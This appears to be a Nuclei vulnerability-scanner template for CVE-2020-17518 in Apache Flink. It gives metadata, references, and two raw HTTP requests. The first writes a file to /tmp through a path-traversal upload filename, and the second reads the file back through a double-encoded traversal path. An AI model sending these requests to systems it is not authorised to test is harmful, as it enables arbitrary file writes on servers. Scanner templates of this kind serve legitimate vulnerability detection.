id: CVE-2020-17518

info:
  name: Apache Flink 1.5.1 - Local File Inclusion
  author: pdteam
  severity: high
  description: |
    Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later).
  reference:
    - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17518
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-17518
    cwe-id: CWE-22,CWE-23
    epss-score: 0.86271
    epss-percentile: 0.98281
    cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: flink
  tags: lfi,flink,fileupload,vulhub,cve,cve2020,apache,intrusive

http:
  - raw:
      - |
        POST /jars/upload HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y

        ------WebKitFormBoundaryoZ8meKnrrso89R6Y
        Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"

        {{randstr}}
        ------WebKitFormBoundaryoZ8meKnrrso89R6Y--
      - |
        GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}") && status_code == 200'
# digest: 4a0a0047304502205438d27611eff11a4289331adc34f255483f3547f6f1764c9511c016d6ac8b8b022100b087740f6d446b6bdbdffb1677d0c0b95d7ba813e636e90532c14131a6de0e04:922c64590222798bb761d5b6d8e72950